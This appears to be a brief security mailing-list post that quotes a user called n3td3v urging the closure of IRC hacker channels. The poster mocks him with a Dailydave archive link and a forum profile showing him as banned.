I would even close IRC channels. Hackphreak on
undernet looks
harmless, but fk that. Close it anyway, its time to
get a tighter grip
on things.

Thanks,n3td3v

-
-
http://archives.neohapsis.com/archives/dailydave/2004-q4/0221.html

You know you're a moron if you have Dave Aitel laughing at you.

-
-
forums.chat-help.co.uk

n3td3v
Member
Member Group: Banned
Joined: 28-August 04
Active Stats
Total Cumulative Posts  4


Re-occuring theme...

-
--